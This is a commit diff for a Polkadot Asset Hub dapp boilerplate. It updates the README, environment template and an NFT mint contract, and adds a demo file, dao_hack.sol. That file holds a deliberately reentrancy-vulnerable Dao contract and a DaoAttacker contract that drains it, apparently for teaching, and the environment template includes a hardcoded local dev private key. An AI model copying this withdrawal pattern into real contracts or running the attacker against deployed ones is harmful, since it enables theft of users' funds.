PBA updates (#1)

* wip

* wip

* Add a few comments

* update

* fix

* wip

* Just keep viem

* rm codegen files

* mv src -> web

* update

* wip

* pba update

Author: pgherveou

viem/.env.example .env.exampleviem/.env.example renamed to .env.example

@@ -1,18 +1,24 @@
 # Copy this template to .env (which should be in .gitignore)
 
 # Current network used to deploy contracts.
-# Possible values: westend, kitchensink
+# Possible values: local, testnet
 # This is exposed to the frontend, thus the prefix VITE_
-VITE_CHAIN="westend"
+VITE_CHAIN="local"
 
-# Private key used to deploy contracts on kitchensink (localhost)
+# The RPC URL to use when local chain is selected
+VITE_LOCAL_RPC_URL="http://localhost:8545"
+
+# The RPC URL to use when testnet chain is selected
+VITE_TESTNET_RPC_URL="https://westend-asset-hub-eth-rpc.polkadot.io"
+
+# Private key used to deploy contracts on the local chain
 # This is the private key for the funded account 0xf24FF3a9CF04c71Dbc94D0b566f7A27B94566cac 
-KITCHENSINK_PRIVATE_KEY="0x5fb92d6e98884f76de468fa3f6278f8807c48bebc13595d45af5bdc4da702133"
+LOCAL_PRIVATE_KEY="0x5fb92d6e98884f76de468fa3f6278f8807c48bebc13595d45af5bdc4da702133"
 
 # Private key used to deploy contracts on Westend (Asset Hub)
 # TODO: Specify the private key for the account that will be used to deploy contracts on Westend
 # You can use the faucet to get some funds for the account. See https://contracts.polkadot.io/connect-to-asset-hub
-WESTEND_PRIVATE_KEY="0x.."
+TESTNET_PRIVATE_KEY="0x.."
 
 # To enable wallet-connect create a project Id here  https://cloud.walletconnect.com/
 VITE_WC_PROJECT_ID=

.gitignore

@@ -1,5 +1,6 @@
 # Logs
 logs
+src/codegen/**
 *.log
 npm-debug.log*
 yarn-debug.log*
@@ -23,3 +24,4 @@ dist-ssr
 *.njsproj
 *.sln
 *.sw?
+

ethers/.prettierrc.json .prettierrc.jsonethers/.prettierrc.json renamed to .prettierrc.json

@@ -1,19 +1,125 @@
-⚠️ Archived: Use https://github.com/paritytech/create-polkadot-dapp instead
-
 # Getting started with Dapp on Asset Hub
 
-This repository contains 2 boilerplates Dapp to help you getting started building contracts on Asset Hub.
+This repository contains a sample project that you can use as the starting point to develop your Dapp on Polkadot.
+It's also a great fit for learning the basics of smart contract development.
+
+## Quick start
+
+### Prerequisites
+
+The first things you need to do are cloning this repository and installing its
+dependencies:
+
+```sh
+git clone https://github.com/paritytech/contracts-boilerplate.git
+cd contracts-boilerplate
+```
+
+Then install the dependencies:
+
+```sh
+npm install
+```
+
+We will use [deno](https://deno.com), a modern alternative to Node that can work with TypeScript out of the box.
+You can install it by running:
+
+```sh
+curl -fsSL https://deno.land/install.sh | sh
+```
+
+### Building contracts
+
+We can now compile the contracts located in the `contracts/` directory:
+
+```sh
+deno task build [--filter <contract-name>] [--clean]
+```
+
+This does the following:
+
+- Compile the bytecode for each contract into `codgen/bytecode/*`
+- Generate the abi for each contract into `codgen/abi/*.ts` and the index `codegen/abis.ts`
+
+### Deploying contracts
+
+Before you can deploy contracts, let's copy the `.env.example` file to `.env` and fill in the required environment variables.
+
+```sh
+cp .env.example .env
+```
+
+Update `tools/deploy.ts` to include new contracts you want to deploy.
+Make sure to specify the constructor arguments and the value, if needed.
+
+#### Deploying to Testnet
+
+To deploy to Westend Testnet, you will need to specify the `TESTNET_PRIVATE_KEY`.
+Check the instructions [here](https://contracts.polkadot.io/connect-to-asset-hub) to connect with your wallet and request funds.
+
+#### Deploying to a local chain
+
+For local development, checkout the instructions [here](https://contracts.polkadot.io/work-with-a-local-node) to setup and start a local chain.
+
+> Note: You can also test against `geth`, the deployment code, will detect the chain and deploy the right bytecode (evm or pvm).
+
+> Local deployments will use the account `0xf24FF3a9CF04c71Dbc94D0b566f7A27B94566cac` already configured in your `.env` file, This account is pre-funded at genesis, so you can use it to deploy contracts.
+
+Now that you have the environment variables setup, ensure that your chain is running and deploy the contracts by running:
+
+```sh
+deno task deploy [--filter <contract-name>]
+```
+
+This command will update the `codegen/addresses.ts` file with the deployed contract addresses, so that you can easily reference them in your apps.
+
+### Running the web app
+
+Once the contracts are deployed you can run the frontend by running:
+
+```sh
+deno dev --open
+```
+
+This will start a development server with live reload and open your browser to the local url.
+The default app let you do the following actions:
+
+- Connect to different wallets
+- Display the connected account
+- Mint an NFT.
+- Display the minted NFT.
+
+![screenshot](https://github.com/user-attachments/assets/1fda3678-c22b-4f7d-a0be-68e01662b329)
+
+# Run cli
+
+There is an example cli in the `cli` directory that you can run to interact with the deployed contracts.
+
+```sh
+deno --env-file --allow-all ./cli/dao-hack.tsx
+```
+
+### Running tests
 
-## Build Dapp with ethers.js & react
+Use the following command to run the tests located in the `tests/` directory:
 
-This is a Dapp boilerplate that uses ethers.js along with react to build a Dapp.
+```sh
+# start the eth-rpc and substrate node
+export SUBSTRATE_BIN="$POLKADOT_SDK/target/debug/substrate-node"
+export ETH_RPC_BIN="$POLKADOT_SDK/target/debug/eth-rpc"
 
-See [ethers/README.md](./ethers)
+# start the servers in the background and run the tests in watch mode against substrate
+ETH_RPC=true START_SUBSTRATE_NODE=true npm run test:dev
 
-## Build Dapp with wagmi & react & viem
+# start geth in the background and run the tests in watch mode against geth
+START_GETH=true npm run test:dev
 
-This is a more modern Dapp boilerplate that uses Viem and Wagmi.
-Viem is a lightweight TypeScript library for interacting with Ethereum, focusing on providing a simple, type-safe API for Ethereum JSON-RPC methods. Wagmi is a collection of React hooks for Ethereum.
+# use live server (http://localhost:{$RPC_PORT:-8545}) and run the tests in watch mode
+npm run test:dev
+```
 
-See [viem/README.md](./viem)
+# Learn more
 
+- [Asset Hub documentation](https://contracts.polkadot.io) to learn more about building Smart Contracts on Asset Hub.
+- [wagmi documentation](https://wagmi.sh/) to learn more about building EVM Dapps with React.
+- [viem documentation](https://viem.sh/) to learn more about the library used to interact with EVM contracts.

README.md

@@ -1,16 +1,16 @@
 // SPDX-License-Identifier: MIT
 pragma solidity >0.8.21;
 
-import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
-import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
-import "@openzeppelin/contracts/utils/Base64.sol";
+import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
+import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
+import '@openzeppelin/contracts/utils/Base64.sol';
 
 contract WagmiMintExample is ERC721 {
     uint256 public totalSupply;
 
     uint256 private nextTokenId = 0;
 
-    constructor() ERC721("wagmi", "WAGMI") {}
+    constructor() ERC721('wagmi', 'WAGMI') {}
 
     function mint() external {
         uint256 tokenId = nextTokenId;
@@ -27,7 +27,7 @@ contract WagmiMintExample is ERC721 {
     }
 
     function mint(uint256 tokenId) external {
-        require(!_exists(tokenId), "Token ID is taken");
+        require(!_exists(tokenId), 'Token ID is taken');
         _safeMint(msg.sender, tokenId);
         unchecked {
             totalSupply++;
@@ -42,10 +42,10 @@ contract WagmiMintExample is ERC721 {
         uint256 tokenId
     ) public pure override returns (string memory) {
         uint256 foregroundHue = uint256(
-            keccak256(abi.encodePacked("foreground", tokenId))
+            keccak256(abi.encodePacked('foreground', tokenId))
         ) % 360;
         uint256 backgroundHue = uint256(
-            keccak256(abi.encodePacked("background", tokenId))
+            keccak256(abi.encodePacked('background', tokenId))
         ) % 360;
         string memory json = Base64.encode(
             bytes(
@@ -69,7 +69,7 @@ contract WagmiMintExample is ERC721 {
             )
         );
         string memory output = string(
-            abi.encodePacked("data:application/json;base64,", json)
+            abi.encodePacked('data:application/json;base64,', json)
         );
         return output;
     }
@@ -79,7 +79,7 @@ contract WagmiMintExample is ERC721 {
         // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
 
         if (value == 0) {
-            return "0";
+            return '0';
         }
         uint256 temp = value;
         uint256 digits;
@@ -96,4 +96,3 @@ contract WagmiMintExample is ERC721 {
         return string(buffer);
     }
 }
-

viem/contracts/MintExample.sol contracts/MintExample.solviem/contracts/MintExample.sol renamed to contracts/MintExample.sol

@@ -0,0 +1,66 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.4;
+
+interface IDao {
+    function deposit() external payable;
+    function withdraw() external;
+    function getBalance(address account) external view returns (uint256);
+}
+
+contract Dao is IDao {
+    mapping(address => uint256) public balances;
+
+    // Payable constructor
+    constructor() payable {}
+
+    function getBalance(address account) public view returns (uint256) {
+        return balances[account];
+    }
+
+    function deposit() public payable {
+        require(msg.value >= 1 ether, 'Deposits must be no less than 1 Ether');
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() public {
+        uint256 amount = balances[msg.sender];
+        require(amount > 0, 'No balance to withdraw');
+
+        // 🔴 Sends ETH before updating balance
+        (bool success, ) = msg.sender.call{value: amount}('');
+        require(success, 'Transfer failed');
+
+        // 🔴 Balance Update after Transfer - Allows Reentrancy!
+        balances[msg.sender] = 0;
+    }
+}
+
+contract DaoAttacker {
+    IDao dao;
+    uint maxCalls; // Maximum allowed recursive calls
+    uint calls; // Counter for the number of re-entrancy calls
+
+    constructor(address _dao, uint _maxCalls) payable {
+        require(
+            msg.value >= 1 ether,
+            'Need at least 1 ether to commence attack.'
+        );
+        dao = IDao(_dao);
+        maxCalls = _maxCalls;
+    }
+
+    function attack() public payable {
+        calls = 0;
+        if (dao.getBalance(address(this)) == 0) {
+            dao.deposit{value: 1 ether}();
+        }
+        dao.withdraw();
+    }
+
+    receive() external payable {
+        calls += 1;
+        if (calls < maxCalls && address(dao).balance >= 1 ether) {
+            dao.withdraw();
+        }
+    }
+}

contracts/dao_hack.sol

@@ -0,0 +1,20 @@
+{
+    "tasks": {
+        "build": {
+            "description": "Build contracts from the contracts directory and output bytecode and abi in the codegen directory",
+            "command": "deno run --env-file --allow-all src/tools/build.ts"
+        },
+        "deploy": {
+            "description": "Deploy contracts to the network specified in the .env file, and update addresses in the codegen directory",
+            "command": "deno run --env-file --allow-all src/tools/deploy.ts"
+        },
+        "dao-hack-cli": {
+            "description": "Run the dao-hack cli demo",
+            "command": "deno --env-file --allow-all src/cli/dao-hack.tsx"
+        },
+        "dao-hack-traces": {
+            "description": "Run the dao-hack tracing demo",
+            "command": "deno --env-file --allow-all src/cli/dao-hack-traces.ts"
+        }
+    }
+}